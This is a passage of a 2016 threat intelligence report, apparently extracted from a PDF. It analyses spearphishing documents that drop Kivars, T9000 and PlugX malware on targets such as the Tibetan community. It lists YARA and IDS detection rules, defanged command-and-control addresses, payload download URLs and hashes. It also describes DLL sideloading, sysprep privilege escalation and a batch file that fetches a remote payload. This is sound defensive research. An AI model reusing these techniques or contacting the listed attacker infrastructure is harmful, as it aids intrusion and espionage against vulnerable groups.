A YARA rule to detect instances of Kivars running as a service is included herein.
Service files are distinct and can be analyzed directly, but scanning of memory could also be useful in the event that Kivars becomes more highly obfuscated.
rule kivars_service  meta: description  Detects instances of Kivars malware when installed as a service author  cwilsonarbor.net SHA-256  443d24d719dec79a2e1be682943795b617064d86f2ebaec7975978f0b1f6950d SHA-256  44439e2ae675c548ad193aa67baa8e6abff5cc60c8a4c843a5c9f0c13ffec2d8 SHA-256  74ed059519573a393aa7562e2a2afaf046cf872ea51f708a22b58b85c98718a8 SHA-256  80748362762996d4b23f8d4e55d2ef8ca2689b84cc0b5984f420afbb73acad1f SHA-256  9ba14273bfdd4a4b192c625d900b29e1fc3c8673154d3b4c4c3202109e918c8d SHA-256  fba3cd920165b47cb39f3c970b8157b4e776cc062c74579a252d8dd2874b2e6b strings: s1  \\Projects\\Br2012\\Release\\svc.pdb s2  This is a flag s3  svc.dll s4  ServiceMain s5  winsta0 condition: ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 20 Proprietary and Confidential Information of Arbor Networks, Inc. uint16(0)  0x5A4D and filesize  1000000 and (all of (s))  Interestingly, all of these Kivars service files listed in the YARA rule have the same compilation date of 2013- 11-2000:26:30.
Some AV detection that appears to be reasonably accurate includes BKDR_KIVARS.SMV0 (Trend) and Win32/Agent.
XUI Trojan (ESET).
IOCs C2: akm.epac[.
]to C2: 103.240.203.232:8080 MD5 (brochure .rar): c8c6365bf21d947e8e986d4766a9fc16 MD5 (brochure .doc): 835fee42132feebe9b3231297e5e71a8 MD5 (binary): 905d1cd328c8cfc378fb00bfa38f0427 Imphash (binary): fea5902afa6e504a798c73a09b83df5e MD5 (tnyjs.dll): 5bc954d76342d2860192398f186f3310 MD5 (uhfx.dll): 6db7ad23186f445c410f59a41e7f8ac5 SHA-256 hash (brochure .rar): e8af4f3504b0e1cf165dfd1070342b831fd7b5b45da94c6f2a25c28dd6eb3c4a SHA-256 hash (brochure .doc): 0ed325b841a2beb446c5e9a6825deaa021651c8b627aa7147d89edde05af6598 SHA-256 (binary): 18219708781208889af05842ea6d563e56910424ec97ef8f695c0c7a82610a23 SHA-256 (tnyjs.dll): 5676c0b2d3c139dbef5bafa0184576bd1a4ccbd3f7d40b4a6a099a1e61bc2a39 SHA-256 (uhfx.dll): a46905252567ed2fe17a407d8ae14036fde180f0a42756304109f34d1e8ad872 Targeted Exploitation 4: 64 Bit Kivars Keylogger Targeting is not available for this sample, however it was first uploaded to VT from Korea and first observed by ASERT on January 2, 2016.
A 64-bit instance of the Kivars malware is dropped from this exploitation into the AppData/Local/Temp directory with a .tmp file extension.
The bait/distraction document displayed is very similar to the document observed in the previously discussed Kivars sample: ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
21 The RTF file contains the following metadata: The date of 12/30/2015 is fairly close to the timeframe observed within other malware sample and spearphish metadata.
The author and last modified value is xxx which was not observed again while analyzing malware samples for this report.
Trend Micro profiled the 64-bit version of Kivars in 2014 [25].
This version will not execute in a 32-bit environment, therefore it is possible that additional targeting occurred in order to scope the victim machine.
If compilation dates were not faked, this sample was compiled back in November of 2013.
IOCs C2: akm.epac[.
]to C2: 103.240.203[.
]232 MD5 (RTF): ba77d50870756d247a580b8a3a56722c ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 22 Proprietary and Confidential Information of Arbor Networks, Inc. MD5 (dropper): 1c4e3c4df094c32faf0c30f6a613c63e MD5 (payload): 89e4cff1496aafa0776619729a75d4ab MD5 (payload): f25634becd08d5298db1f3014e477e00 SHA-256 (RTF): ad251fd7427c0334f34aabe100a216b4af48b1ab4a01705f44b3421edd0be6ae SHA-256 (dropper): f6bc895b36446d172c4a99be2587376b48fa3b1b0f6150eb8ab83f649f7b8bc6 SHA256 (payload): 8dfcae0eb358f48fc30163e58c75823117f6fd501a48f3dfeb19a06d1c21aa51 SHA256 (payload): f8a18e8b8e6606617e3a63ee5a3050a1b30361703c9a7d9e2d5cc94090c9907b Targeted Exploitation 5: Sixteen Drops of Kadam Empowerment T9000 Keylogger This document was submitted on 2015-12-31 09:27:24 as Sixteen Drops of Kadam Empowement.doc (note the misspelling) from India.
This instance of threat activity borrows the theme and content from a page posted by the Central Tibetan Administration that talks about a spiritual ceremony undertaken by the Dalai Lama [26].
It is interesting to note that the threat actors wasted no time on this particular exploitation attempt, since the post was made on December 31 and the spearphish mail was sent on the same day.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
23 When this sample is opened and exploitation commences (leveraging CVE- 2012-0158 and CVE-2015-1641), two files are dropped into the AppData/Local/Temp directory - tmp (decoy document) and E1BC.tmp (T9000 keylogger executable).
The decoy document metadata indicates that it was created by Windows User and last modified by comma.
The decoy document is several pages long but starts off as such: Opening the sample in IDA Pro helpfully presents us with a dialog box based on PDB information left inside the binary that suggests the sample is the T9000 keylogger: The PDB naming scheme is potentially interesting.
Not only does it identify the software project T9000, but also unique strings related to N_Inst_User_M1 and N_Inst_User32 and the potential presence of a directory for release code.
These strings may be helpful to discover other malware written in the same development environment.
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 24 Proprietary and Confidential Information of Arbor Networks, Inc. Palo Alto Unit 42 published an excellent document analyzing the T9000 malware [27] that discusses various PDB paths, command structure, the modular nature of the malware, and more.
The C2 observed being used by this sample is the same C2 discussed in their article, however the malware they profiled uses TCP/8080, and the observed activity herein uses TCP/7386 (based on static analysis).
Within the analysis environment, the first stage T9000 file is dropped in AppData/Local/Temp using an apparently randomized name, AFBA.tmp.
This particular compromise creates all of the expected files in the /Intel directory as profiled by Unit 42: Avinfo hccutils.dll hccutils.inf hjwe.dat qhnj.dat QQMgr.dll QQMgr.inf ResN32.dll tyeu.dat vnkd.dat ResN32.dat igfxtray.exe Data/dtl.dat Data/glp.uin Another file not mentioned in the Palo Alto report, named Elevate.dll, was dropped in the Intel directory and appears to be involved in using sysprep.exe to execute a custom DLL to elevate privileges to Administrator.
This is part of a known style of privilege escalation that has been used by PlugX [28] in the past.
General information about the technique, which has been known by pentesters for years, can be found at [29].
The hash for Elevate.
DLL was first observed by Virus Total on November 25, 2015.
Please note that the file igfxtray.exe (SHA-256 hash 21a5818822a0b2d52a068d1e3339ed4c767f4d83b081bf17b837e9b6e112ee61) is a legitimate file and simply used for sideloading of the malicious content.
IOCs C2 IP: 198.55.120[.
]143:7386 URL: http://198.55.120[.
]143:7386/B/ResN32.dll MD5 (RTF): fdb6543bfb77aa6ddff0f4dfe07e442f MD5 (T9000 main binary): d8d70851641efbdfce8d561e6b1a2f29 MD5 (Elevate.dll): 1d335f6a58cb9fab503a9b9cb371f57b MD5 (QQMgr.dll): b9c584c7c34d14599de8cd3b72f2074b MD5 (QQMgr.inf): 8ac933be588f49560179c26ddbc6a753 MD5 (ResN32.dat): 50753c28878ce10a748fbd7b831ecbe1 MD5 (ResN32.dll): a45e5c32fc2bc7be9d6e4bba8b2807bf MD5 (hccutils.dll): 2299fb8268f47294eb2b18282540a955 MD5 (hccutils.inf): 2f31ef1a8fca047ed0d623010d569857 MD5 (hjwe.dat): d3601a5160b8d122261989d147221eb7 MD5 (qhnj.dat): a9de62186cb8d0e23b0dc75e1ae373ac ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
25 MD5 (tyeu.dat): 29ec20f5fa1817dc9250c434e61420ea MD5 (vnkd.dat): 35f4ce864c3a3dc016fea3459d6402a9 SHA-256 (RTF): 8e4de6fb35ce4cd47e06b48fb86b7da3eba02031cfd8ae714e25f8f7903f0141 SHA-256 (T9000 main binary): 7c04286734718300e2c0691be9b6622f2d2525ca07ab27102a424af6f8cc3aec SHA-256 (Elevate.dll): 9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95 SHA-256 (QQMgr.dll): bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f SHA-256 (QQMgr.inf): ace7e3535f2f1fe32e693920a9f411eea21682c87a8e6661d3b67330cd221a2a SHA-256 (ResN32.dat): 5b90fa081e3ac29a7339995f9b087dab9981409ff62e3215eb558908c6b96b14 SHA-256 (ResN32.dll): 1cea4e49bd785378d8beb863bb8eb662042dffd18c85b8c14c74a0367071d9a7 SHA-256 (hccutils.dll): 3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9 SHA-256 (hccutils.inf): f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27 SHA-256 (hjwe.dat): bb73261072d2ef220b8f87c6bb7488ad2da736790898d61f33a5fb7747abf48b SHA-256 (qhnj.dat): c61dbc7b51caab1d0353cbba9a8f51f65ef167459277c1c16f15eb6c7025cfe3 SHA-256 (tyeu.dat): e52b5ed63719a2798314a9c49c42c0ed4eb22a1ac4a2ad30e8bfc899edcea926 SHA-256 (vnkd.dat): c22b40db7f9f8ebdbde4e5fc3a44e15449f75c40830c88932f9abd541cc78465 Connections to Historical and Ongoing Threat Campaign Activity The sample contains the following string: http://198.55.120[.
]143:7386/B/ResN32.dll, which can be used to pivot and find other samples.
In this case, we find another document entitled One Tibetan Protester is Freed, Two Others Are Jailed.doc using the same HTTP site information.
That particular sample is also profiled in this report.
Targeted Exploitation 6: T9000 Keylogger This document exploits CVE-2012-0158, CVE-2012-1856 and CVE-2015-1641 and drops an instance of the T9000 keylogger malware.
The spearphish message is not available in this case, however the instance of the T9000 malware itself is the same as profiled in Targeted Exploitation 5.
The only document that is distinct between incident 5 and incident 6 is the original RTF file.
For all other artifacts, please refer to the IOC table in Targeted Exploitation 5.
IOCs MD5 (RTF): fb1e8c42d11e3a2de97814e451ee3375 SHA-256 (RTF): d5fa43be20aa94baf1737289c5034e2235f1393890fb6f4e8d4104565be52d8c Targeted Exploitation 7: T9000, Chinese Exchange Program Bait File This document exploits CVE-2012-0158, CVE-2012-1856 and CVE-2015-1641 and drops an instance of the T9000 keylogger malware.
The bait file for this instance of T9000 involves an exchange program.
The Chinese document and a rough English translation are as follows: ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 26 Proprietary and Confidential Information of Arbor Networks, Inc.
The bait file shows the author of HBWBEI and last modified by jack.
Office metadata suggests that the file was created on March 30 of 2011, and last printed on April 3, 2008.
We are not sure how a document could be printed before it is created.
Perhaps the threat actors have learned to time travel, or these values are crafted.
In any event, the last modified date has a correspondence with threat activity in this case.
The T9000 behavior in this sample was different from other samples in that the Intel folder only contained a small amount of files, for unknown reasons.
In this case, the Intel folder only contains hjwe.dat (the encrypted core of the malware family, as discovered by Palo Alto Networks), 1 (debug information about files used by malware) and a Data folder containing dtl.dat (encrypted config) and glp.uin (plugin configuration) files.
File hash values for these files match what was previously documented in targeted exploitation incident 5.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
27 IOCs C2: 198.55.120[.
]143 TCP/7386 and/or TCP/8080 MD5 (RTF): da97c88858214242374f27d32e27d957 MD5 (E804.tmp): e4e8493898d94f737ff4dc8fab743a4a MD5 (bait file): 9ae498307da6c2e677a97a458bff1aea SHA-256 (RTF): 647b443ecaa38d2834e5681f20540fa84a5cf2b7e1bee6a2524ce59783cb8d1b SHA-256 (E804.tmp: 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c SHA-256 (bait file): 4f1784a4e4181b4c80f8d77675a267cbdd0e35ea1756c9fdb82294251bef1d28 Connections to Historical and Ongoing Threat Campaign Activity Observation of the sample suggests that the C2 is 198.55.120[.
]143 on TCP/7386.
This IP and port was observed in two other samples in this campaign/engagement.
Automated analysis of the configuration itself suggests that the C2 port is TCP/8080 however.
Further investigation is required to determine the reason for the discrepancy.
Connecting to TCP/8080 of this C2 with a browser results in the download of a file called download with an MD5 hash of e1269c22ad1e057b9c91523498b4b04d and a SHA-256 hash of b9914fb8c645e0c41d497db303c1ffa594da709686252fccb8d28dffac86275b.
This file is delivered to the user after the user presents an HTTP GET.
Connecting to this port with telnet and manually issuing a GET results in the delivery of nine bytes from the server.
The server then appears to wait for a response.
These nine bytes contain the ASCII text eueuX_.
There are unprintable characters present however, including 0x05, 0x1b, and 0x12 as seen in this hexdump: 65 75 65 75 05 1b 12 58 5f eueu...X_ The same GET connection used on TCP/8080 can also be used on 8088/tcp and 8089/tcp on this particular C2 to obtain the same response consisting of the exact same sequence of bytes.
It is possible that this server is configured to support multiple campaigns, multiple actor groups, or there may be some other explanation.
Awareness of this responsive pattern could provide for a potentially useful method to fingerprint a T9000 C2.
This communication pattern has been observed in the wild at least as far back as 2014-03-25 21:06:19 UTC, when someone submitted a sample of this byte sequence to Virus Total (MD5: e1269c22ad1e057b9c91523498b4b04d).
This C2 IP address is clearly of interest since it has been used by several samples uncovered in this engagement.
Some basic analysis of the C2 reveals the following open ports (filtered ports have been removed from this list).
The ports in bold appear to be associated the server-side component of T9000 in this instance: PORT STATE SERVICE 80/tcp open http 554/tcp open rtsp 1028/tcp open unknown ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 28 Proprietary and Confidential Information of Arbor Networks, Inc. 1433/tcp open ms-sql-s 3389/tcp open ms-wbt-server 7070/tcp open realserver 8080/tcp open http-proxy 8088/tcp open radan-http 8089/tcp open unknown 9000/tcp open cslistener 22779/tcp open unknown 22790/tcp open unknown 47001/tcp open unknown Connecting to the Remote Desktop port on the server gives us a sense of the language in use on the server.
Targeted Exploitation 8:  T9000  Tibetan Protester Theme The malicious RTF file, using the name One Tibetan Protester is Freed, Two Others Are Jailed.doc was first observed in the wild on 2015-12-31 05:34:17 and submitted for analysis to Virus Total from India.
The RTF document exploits CVE-2012-0158, CVE-2012-1856 and CVE-2015-1641.
This document has been determined to drop the T9000 backdoor malware based on the presence of a URL pointing to the previously discovered T9000 C2 string (http://198.55.120[.
]143:7386/B/ResN32.dll).
The insightful T9000 report from Palo Alto Networks describes this ResN32.dll file as a Malicious DLL.
Decrypts, decompresses, and loads core malware.
Other obvious strings are present such as the PDB string D:\WORK\T9000\N_Inst_User_M1\Release\N_Inst_User32.pdb and many other clear T9000 artifacts.
With regards to the bait file One Tibetan Protester is Freed, Two Others Are Jailed.doc, we can see that it was copied from a website.
A news item from December 4, 2015 was posted on Radio Free Asia [30] using this exact Tibetan Protester document title.
The webpage from Radio Free Asia is seen on the left below and the bait file that appears to have been built from the website is on the right.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
29 The bait file document metadata indicates that it was created and modified by HighSea on 12/31/2015, the same day that the file was uploaded to Virus Total and the same day other threat activity was observed against the Tibetan community.
The name HighSea appears in other malicious document metadata profiled within this report.
IOCs C2: 198.55.120[.
]143 tcp/7386 MD5 (malicious RTF): facd2fbf26e974bdeae3e4db19753f03 MD5 (T9000, BC29.tmp): e4e8493898d94f737ff4dc8fab743a4a Bait filename (tmp.doc): One Tibetan Protester is Freed, Two Others Are Jailed.doc MD5 (tmp.doc): 751196ce79dacd906eec9b5a1c92890b SHA-256: (malicious RTF): 1140e06fa8580cf869744b01cc037c2d2d2b5af7f26f5b3448d9a536674d681c ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 30 Proprietary and Confidential Information of Arbor Networks, Inc. SHA-256 (T9000, BC29.tmp): 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c SHA-256 (tmp.doc): 76d54a0c8ed8d9a0b02f52d2400c8e74a9473e9bc92aeb558b2f4c894da1b88f Connections to Historical and Ongoing Threat Campaign Activity This sample uses the same C2 that has been observed in the other T9000 samples analyzed herein.
Targeted Exploitation 7 incident in this report features some assessment of the C2 itself to determine additional information about the actors and to generate other IOCs.
Targeted Exploitation 9: Agent.
XST and other malware This RTF document, exploiting CVE-2012-0158, CVE-2012-1856 and CVE-2015-1641, was observed using the name 2016.doc, which roughly translates in English to Prediction of the 2016 presidential election people center value.
Doc.
First submitted from the USA on 1/7/2016 to Virus Total.
The bait file in use contains the following text: A rough translation to English reveals election related content: Office file metadata indicates when the document was created (1/6/2016 5:41 PM) and a less than helpful value of User for the author.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
31 A batch file dropped by the malware, named wget.bat, contains the following PowerShell code: The Powershell code runs a minimized instance of wget.exe (also dropped by the malware) and attempts to obtain a file named wthk.txt from a server in Taiwan, which is then stored as whtk.exe locally.
In this case, the wthk.txt file was no longer available on the download site (www.kcico.com[.
]tw/data/openwebmail/doc/wthk.txt) but was obtained through other means.
The file wthk.txt is the same malware family (Sample 3) discussed in the Uncovering the Seven Pointed Dagger paper (referred to as 7PD).
In the case of 7PD, this malware (appears to be a keylogger) was originally stored inside a file named Security-Patch-Update333.rar.
Readers are encouraged to refer to the 7PD paper at http://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief- 2015-08-Uncovering-the-Seven-Point-Dagger.pdf for full details.
Execution of the malware results in the creation of suspicious network traffic.
The initial connection to the C2 triggers an Emerging Threats signature ET TROJAN Win32/Agent.
XST Checkin: alert http HOME_NET any - EXTERNAL_NET any (msg:ET TROJAN Win32/Agent.
XST Checkin flow:established,to_server content:POST http_method content:Referer3a http_header content:Accept3a http_header content:Content-Type3a 20text/html0d 0a http_header content:this is UP depth:10 http_client_body fast_pattern content:00 00 00 00 http_client_body reference:md5,d579d7a42ff140952da57264614c37bc reference:url,asert.arbornetworks.com/wp- content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-Uncovering-the-Seven-Pointed- Dagger.pdf classtype:trojan-activity sid:2022362 rev:2) The keep-alive packet generated from the compromised host to the C2 triggers the Emerging Threats signature ET TROJAN Win32/Agent.
XST Keepalive: alert tcp HOME_NET any - EXTERNAL_NET any (msg:ET TROJAN Win32/Agent.
XST Keepalive flow:established,to_server content:POST20 depth:5 content:.asp20HTTP/1.
distance:0 content:Referer3a distance:0 content:Accept3a distance:0 content:Content-Length3a 2020d 0a distance:0 fast_pattern content:Content- Type3a 20text/html0d 0a content:0d 0a 0d 0aok distance:0 threshold: type limit, count 1, seconds 60, track by_src reference:md5,d579d7a42ff140952da57264614c37bc reference:url,asert.arbornetworks.com/wp-content/uploads/2016/01/ASERT-Threat- Intelligence-Brief-Uncovering-the-Seven-Pointed-Dagger.pdf classtype:trojan-activity sid:2022363 rev:2) The malware activity from this sample is very similar to the sample discussed in 7PD.
Since new findings are available and this family has not been profiled with much depth, the details are as follows: ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 32 Proprietary and Confidential Information of Arbor Networks, Inc. MD5 (wthk.txt)  d579d7a42ff140952da57264614c37bc (First seen on Virus Total 2016-01-08) Wthk.txt is a binary signed by Binzhoushi Yongyu Feed Co.,LTd The certificate was valid from 1/17/2014  1/18/2016.
These valid dates are exactly one day after the valid dates for the certificate used in aforementioned sample 3, which was valid from 1/16/2014  1/17/2016.
Execution of this malware creates an Internet Explorer folder that contains the following files: MD5 (conhost.exe)  f70b295c6a5121b918682310ce0c2165 (same binary as 7PD sample) Appears to be a legit SandboxIE file, originally named SandboxieBITS.exe that is signed by SANDBOXIE L.T.D.
ASERT has five instances of this file being used in malware operations.
Additionally, analysis of the files PEHash (ffb7a38174aab4744cc4a509e34800aee9be8e57) reveals 15 instances of the same or slightly modified file being used in various PlugX operations since at least 2013.
This file imports functions from SBIeDll.dll.
MD5 (SBieDll.dll)  f80edbb0fcfe7cec17592f61a06e4df2 This DLL exports SbieApi_Log, SbieDLL_Hook(x,x,x) and DllEntryPoint.
This DLL file is sideloaded by conhost.exe, which imports SbieApi_Log.
The file maindll.dll is loaded via LoadLibaryW.
The sample checks for the presence of a mutex EDD4DB6D-E8E0-42ae-A47B- 021DC227E2FA with OpenMutexW and does not load maindll.dll if the mutex is already set.
If maindll.dll is loaded successfully, then a string load maindll ok is pushed to the stack, followed by a call to GetProcAddress for the process name sbie_info.
If this is successful, then another string get work fun ok is pushed to the stack.
If this is not successful then the string get work fun error is instead pushed to the stack.
This file contains the PDB string Y:/UDPSbieDLL/Release/SBieDLL.pdb.
Unlike the previously observed version of this file mentioned in 7PD, this particular sample does not appear to be packed or otherwise obfuscated.
MD5 (dll2.xor): ce8ec932be16b69ffa06626b3b423395 Based upon the filename, this may be an XOR-ed DLL file.
Additional analysis is ongoing.
MD5 (maindll.dll): d8ede9e6c3a1a30398b0b98130ee3b38 This binary is obfuscated, likely with ASPack v2.12, and requires further analysis.
The compilation date on this binary is 0x54A93AD9 (Sun Jan 04 07:06:33 2015) MD5 (nvsvc.exe)  e0eb981ad6be0bd16246d5d442028687 This file uses Microsoft Foundation Classes (MFC) and is signed by Square Network Tech Co.,LTD from the city of Zhongshan, Guangdong province, China on November 12, 2014 at 9:01:58 PM (CN  Square Network Tech Co.,LTD (O  Square Network Tech Co.,LTD.
L  Zhongshan, S  Guangdong, C  CN).
The digital signature contains an attribute field 1.3.6.1.4.1.311.2.1.12 that lists the string Microsoft Windows Shell explorer https:www.trustasia.com and was valid from Feb 21, 2014  Feb 22, 2015.
Trustasia.com is a digital certificate provider in Shanghai, China.
File references conhost.exe, dll2.xor, maindll.dll, SbieDll.dll, HOOK.DLL, and itself.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
33 MD5 (runas.exe)  6a541de84074a2c4ff99eb43252d9030 This file contains a jump table with 7 cases, each leading to one of the five files dropped by the malware, with two additional files referenced that are not present: HOOK.DLL and mon.
While a full analysis is still in process, some interesting elements from the aforementioned files include the presence of several resources inside the nvsvc.exe file.
Resource 100 appears on the left, and resource 102 on the right.
These may be default resources for some application, however their presence may be an indicator.
The SbIEDll.dll file uses a tactic similar to what was used in an older instance of PlugX whereby a fake exported function is used [31].
While both a legitimate instance of SbieDll.
DLL and this malicious version have an export address table entry for SbieApi_Log, the malicious version implements a function that basically does nothing other than setting the EAX register to 1.
A legitimate instance of the function is displayed on the left, while the malicious DLLs instance of the function is displayed on the right.
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 34 Proprietary and Confidential Information of Arbor Networks, Inc. Once the wthk.txt file is downloaded by PowerShell, the dropped file fuso.exe is executed.
The binary named fuso.exe is a very simple binary that appears to execute another application named Keyainst.exe: Unfortunately, Keyainst.exe was not available during this analysis.
Connections to Historical and Ongoing Threat Campaign Activity A recently published (March 17, 2016) blog by Michael Yip of PWC Taiwan Presidential Election: A Case Study on Thematic Targeting [32] also discusses aspects of this sample and reveals that it was used in targeted ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
35 exploitation attempts upon a Hong Kong activist and a politician.
In this case, malware being called SunOrcaland Surtr were involving in using the same URL path for the malware download observed here (www.kcico.com[.
]tw/data/openwebmail/doc/wthk.txt) and pivots from these samples revealed connections to activity as early as 2010 associated with the targeting of Tibet and Hong Kong.
Pivoting on the mutex checked by the SbIEDll.dll binary results in the discovery of malware analyzed in 2013 (MD5: 983333e2c878a62d95747c36748198f0) using the filename  .docx which roughly translates to List of Chinese National Security Council staff early exposure settings and .docx that is using exploit code for CVE-2013-3906.
Additional pivots can provide other insight.
The C2 is 59.188.12[.
]123 TCP/8008, located in Hong Kong.
Passive DNS reveals that this IP address has been used by the dynamic DNS domain yeaton.xicp[.
]net from 2016-01-08 23:50:44 until at least 2016-03-30 (resolution appears to be ongoing).
In 2012 forum posts, the domain yeaton.xicp[.
]net was used in advertising for a VPN service in China that claims to be able to bypass the great firewall.
While 2012 is a long time ago, it is possible that the threat actor is using a VPN service.
IOCs C2: 59.188.12[.
]123 TCP/8008 MD5 (RTF): 09ddd70517cb48a46d9f93644b29c72f MD5 (tmp.doc): e6ad959a18725954a56a7954d3f47671 MD5 (RAR): d8becbd6f188e3fb2c4d23a2d36d137b MD5 (iuso.exe): 07eb4867e436bbef759a9877402af994 MD5 (wget.bat): 47e60e347b5791d5f17939f9c97fee01 MD5 (wget.exe): f9f8d1c53d312f17c6f830e7b4e6651d MD5 (wthk.txt): d579d7a42ff140952da57264614c37bc MD5 (conhost.exe): f70b295c6a5121b918682310ce0c2165 MD5 (SBieDll.dll): f80edbb0fcfe7cec17592f61a06e4df2 MD5 (dll2.xor): ce8ec932be16b69ffa06626b3b423395 MD5 (maindll.dll): d8ede9e6c3a1a30398b0b98130ee3b38 MD5 (nvsvc.exe): e0eb981ad6be0bd16246d5d442028687 MD5 (runas.exe): 6a541de84074a2c4ff99eb43252d9030 SHA-256 (RTF): 41d05788d844b59f8eb79aeb2060dd5b7bdcad01e8d720f4b8b80d552e41cfe2 SHA-256: (tmp.doc): f0b5336b6f890e2029ac242ad2b613cad535828f7b7004a2284683f3195b7616 SHA-256 (RAR): ddc05b9f39f579f64742980980ca9820b83a243889bbc5baa37f5c2c1c4beb30 8EC7.tmp SHA-256 (iuso.exe) cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082 SHA-256 (wget.bat): 9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692 SHA-256 (wget.exe): bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749 SHA-256 (wthk.txt): 5b875ecf0b7f67a4429aeaa841eddf8e6b58771e16dbdb43ad6918aa7a5b582d SHA-256 (conhost.exe): 4849af113960f473749acf71d11d56854589cf21d623e66c7408bebd5ad0608f SHA-256 (SbieDll.dll): 2ac69633da711f244377483d99fac53089ec6614a61d8a1492a0e7228cbb8ffd SHA-256 (dll2.xor): c3fee1c7d402f144023dade4e63dc65db42fc4d6430f9885ece6aa7fa77cade0 ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 36 Proprietary and Confidential Information of Arbor Networks, Inc. SHA-256 (maindll.dll): 5838582ea26312cc60b43da555189b439d3688597a705e3a52dc4d935517f69d SHA-256 (nvsvc.exe): ec05e37230e6534fa148b8e022f797ad0afe80f699fbd222a46672118663cf00 SHA-256 (runas.exe): 5b34b3365eb6a6c700b391172849a2668d66a167669018ae3b9555bc2d1e54ab File creation: conhost.log File creation: keylog File creation: srvlic.dll File creation: up.dat File creation: xx1.tmp File creation: xx2.tmp File creation: xx3.tmp File creation: xx4.tmp File creation: xx5.tmp File creation: xx6.tmp Targeted Exploitation 10: PlugX, Tibetan theme The original filename is HUMAN RIGHTS SITUATION IN TIBET.doc.
The bait file is originally horizontal, but has been rotated for the sake of readability, and consists of the first two pages apparently from a document published by the Tibetan Center for Human Rights and Democracy called HUMAN RIGHTS SITUATION IN TIBET: The metadata for the Word bait file shows a February 2016 timeframe and the user member0975.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
37 The PlugX malware configuration is as follows: After exploitation, a DNS query for www.whitewall[.
]top resolves to 118.193.240[.
]195.
Next, the compromised host initiates traffic to the IP on UDP/8080 followed by traffic to UDP/995.
Extracting the URL from memory reveals http://www.whitewall.top[:]8080/850D3011FA326CBB6F57A965 and http://www.whitewall[.
]top:995/5724DD3DCC4A19E8416E5691.
A small (2KB) file named skljxpikxzp (likely a random name) appeared on the compromised system after about an hour.
This file was not examined in depth and appears encoded.
An instance of msiexec.exe appears to have been spawned from svchost.exe that is related to this file.
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 38 Proprietary and Confidential Information of Arbor Networks, Inc. IOCs C2: www.whitewall[.
]top UDP/8080 C2: www.whitewall[.
]top UDP/995 MD5 (RTF): ee49bd5f35cc3012b5b606aca9b0f561 MD5 (fsguidll.exe): 2d7a648ebe64e536944c011c8dcbb375 MD5 (fslapi.dll): 13d3d0699562a57cf575dd7f969b3141 MD5 (fslapi.dll.gui): 894c251a3aad150f80a8af2539baf9d1 MD5 (ufbidruosivibuted): caefdd6ca90ff791cdeff9313136972e MD5 (PlugX): 103873e3fa8dfc2360bb5c22761da04a SHA256 (RTF): 58f8a906b49711d2a6aaed0b59e1c1b7fcf5757666e0567fe50e996bfe0a4589 SHA-256 (fsguidll.exe): 5c5e3201d6343e0536b86cb4ab0831c482a304c62cd09c01ac8bdeee5755f635 SHA-256 (fslapi.dll): 2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083 SHA-256 (fslapi.dll.gui): dc4dac22d58ed7c0cadb13a621f42cb9a01851385ca0dc5b94a73c91677a0739 SHA-256 (ufbidruosivibuted): a78ea84acf57e0c54d5b1e5e3bd5eec31cc5935f16d9575e049e161420736e32 SHA256 (PlugX): 40099e0f13ba47bd4ea4f3f49228ac8cffdf07700c4ef8089e3b5d8013e914a3 Connections to Historical and Ongoing Threat Campaign Activity www.whitewall[.
]top resolves to 118.193.240[.
]195 at the time of this writing and appears to be hosted within a /24 netblock (ASN 58879) belonging to the ANCHNET Shanghai Anchang Network Security Technology Co. Ltd in China.
